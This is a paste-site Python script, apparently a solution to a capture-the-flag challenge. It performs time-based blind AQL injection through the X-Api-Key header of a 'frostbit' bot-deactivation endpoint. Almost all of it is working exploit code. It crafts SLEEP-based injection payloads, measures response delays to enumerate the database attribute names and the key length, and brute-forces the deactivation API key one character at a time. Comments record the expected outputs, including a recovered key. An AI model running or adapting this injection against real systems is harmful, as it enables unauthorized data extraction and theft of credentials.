· 9 months ago · Jan 04, 2025, 11:30 AM
1import string
2import requests
3
4def send_payload(uuid, payload):
5 try:
6 response = requests.get(f"https://api.frostbit.app/api/v1/frostbitadmin/bot/{uuid}/deactivate?debug=true",
7 headers = { "X-Api-Key": payload }
8 )
9 except:
10 # Lazy-handle errors for special characters
11 return 0
12 return response.elapsed.total_seconds()
13
14def get_character_set(uuid, search_characters, mode):
15 character_set = []
16 for character in search_characters:
17 print(f"Sending character: {character}")
18 if mode == "attribute":
19 payload = f"1' OR NOT LIKE(CONCAT_SEPARATOR('', ATTRIBUTES(doc)), '%{character}%', false) OR SLEEP(3) OR 'a'=='b"
20 elif mode == "key":
21 payload = f"1' OR NOT LIKE(doc.deactivate_api_key, '%{character}%', false) OR SLEEP(3) OR 'a'=='b"
22 response_time = send_payload(uuid, payload)
23 if response_time > 2:
24 print(f"Found character: {character}")
25 character_set.append(character)
26 print(f"===> List of characters found: {character_set}")
27 return character_set
28
29def clear_character_set(character_set):
30 # This is just a side effect of the character enumeration with LIKE
31 if "%" in character_set:
32 print("Found % character... removing it from list")
33 character_set.remove('%')
34 # We need to do this little trick, because escaping (aka '\') is blocked by the backend!
35 if "_" in character_set:
36 print("Found _ character... moving it the the end of the list")
37 character_set.remove('_')
38 character_set.append('_')
39 return character_set
40
41def get_length(uuid, mode):
42 length = 1
43 while(True):
44 print(f"Sending length: {length}")
45 if mode == "attribute":
46 payload = f"1' OR NOT(LENGTH(CONCAT_SEPARATOR('|', ATTRIBUTES(doc)))=={length}) OR SLEEP(3) OR 'a'=='b"
47 elif mode == "key":
48 payload = f"1' OR NOT(LENGTH(doc.deactivate_api_key)=={length}) OR SLEEP(3) OR 'a'=='b"
49 response_time = send_payload(uuid, payload)
50 if response_time < 2:
51 length = length + 1
52 else:
53 if mode == "attribute":
54 print(f"===> Found concatenated attribute names string length: {length}")
55 elif mode == "key":
56 print(f"===> Found API key length: {length}")
57 return length
58
59def get_value(uuid, character_set, length, mode, attribute_name = "deactivate_api_key"):
60 substring_length = 1
61 found_substring = ""
62 while(substring_length <= length):
63 for character in character_set:
64 payload_characters = found_substring + character
65 if mode == "attribute":
66 payload = f"1' OR NOT LIKE(CONCAT_SEPARATOR('|', ATTRIBUTES(doc)), '{payload_characters}%', true) OR SLEEP(3) OR 'a'=='b"
67 elif mode == "key":
68 payload = f"1' OR NOT LIKE(doc.{attribute_name}, '{payload_characters}%', true) OR SLEEP(3) OR 'a'=='b"
69 print(f"Sending string: {payload_characters}")
70 response_time = send_payload(uuid, payload)
71 if response_time > 2:
72 found_substring = found_substring + character
73 substring_length = substring_length + 1
74 print(f"Found substring: {found_substring}")
75 break
76 if mode == "attribute":
77 print(f"===> Final concatenated attribute names string: {found_substring}")
78 elif mode == "key":
79 print(f"===> Found API key: {found_substring}")
80 return found_substring
81
82def main():
83 # Change the UUID to yours
84 uuid = "1cb40365-bef0-4d00-bc32-a4cf322d2940"
85
86 print("================================================================================================================================")
87 print("# Step 1: Find the character set of the attribute names")
88 print("================================================================================================================================")
89
90 # List of characters to search from
91 search_characters = list(string.printable)
92 print(f"Testing characters: {search_characters}")
93
94 # Perform character search
95 character_set = get_character_set(uuid, search_characters, "attribute")
96 #EXPECTED OUTPUT: "===> List of characters found: ['a', 'c', 'd', 'e', 'i', 'k', 'p', 'r', 't', 'v', 'y', '%', '_']"
97
98 #Just for debug:
99 #character_set = ['a', 'c', 'd', 'e', 'i', 'k', 'p', 'r', 't', 'v', 'y', '%', '_']
100
101 # Pick a separator that is not in the found character set
102 separator_character = input("Provide a separator character (please, don't choose % or _): ")
103 character_set.append(separator_character)
104 #character_set.append('|')
105
106 # Clear character set
107 character_set = clear_character_set(character_set)
108 print(f"Final character list: {character_set}")
109
110 print("================================================================================================================================")
111 print("# Step 2: Figure out the length of the concatenated attribute names")
112 print("================================================================================================================================")
113
114 # Perform a search for the length of the concatenated attribute names
115 length = get_length(uuid, "attribute")
116 #EXPECTED OUTPUT: "===> Found concatenated attribute names string length: 32"
117
118 print("================================================================================================================================")
119 print("# Step 3: Figure out the attribute names based on the character set and the concatenated lenght")
120 print("================================================================================================================================")
121
122 #Just for debug:
123 #length = 32
124
125 # Perform the "smart force" attack to find the attribute names
126 concatenated_attribute_names = get_value(uuid, character_set, length, "attribute")
127 #EXPECTED OUTPUT: "===> Final concatenated attribute names string: deactivate_api_key|_rev|_key|_id"
128
129 #Just for debug:
130 #concatenated_attribute_names = "deactivate_api_key|_rev|_key|_id"
131
132 # Get the possible attribute names for the API key
133 possible_attribute_names = []
134 for element in concatenated_attribute_names.split('|'):
135 if not element.startswith('_') and "api" in element and "key" in element:
136 possible_attribute_names.append(element)
137 print(f"Found potential attribute names: {possible_attribute_names}")
138 chosen_attribute_name = input(f"Please, pick an attribute name from the list: ")
139
140 #Just for debug:
141 #chosen_attribute_name = "deactivate_api_key"
142
143 print("================================================================================================================================")
144 print("# Step 4: Find the character set of the API key")
145 print("================================================================================================================================")
146
147 # List of characters to search from
148 search_characters = list(string.printable)
149 print(f"Testing characters: {search_characters}")
150
151 # Perform character search
152 character_set = get_character_set(uuid, search_characters, "key")
153 #EXPECTED OUTPUT: "===> List of characters found: ['0', '1', '2', '4', '5', '6', '7', '9', 'a', 'b', 'c', 'd', 'e', 'f', '%', '-', '_']"
154
155 #Just for debug:
156 #character_set = ['0', '1', '2', '4', '5', '6', '7', '9', 'a', 'b', 'c', 'd', 'e', 'f', '%', '-', '_']
157
158 # Clear character set
159 character_set = clear_character_set(character_set)
160 print(f"Final character list: {character_set}")
161
162 print("================================================================================================================================")
163 print("# Step 5: Figure out the length of the API key")
164 print("================================================================================================================================")
165
166 # Perform a search for the length of the concatenated attribute names
167 length = get_length(uuid, "key")
168 #EXPECTED OUTPUT: "===> Found API key length: 36"
169
170 print("================================================================================================================================")
171 print("# Step 6: Figure out the attribute names based on the character set and the concatenated lenght")
172 print("================================================================================================================================")
173
174 #Just for debug:
175 #length = 36
176
177 # Perform the "smart force" attack to find the API key
178 get_value(uuid, character_set, length, "key", chosen_attribute_name)
179 #EXPECTED OUTPUT: "===> Found API key: abe7a6ad-715e-4e6a-901b-c9279a964f91"
180
181if __name__ == "__main__":
182 main()
183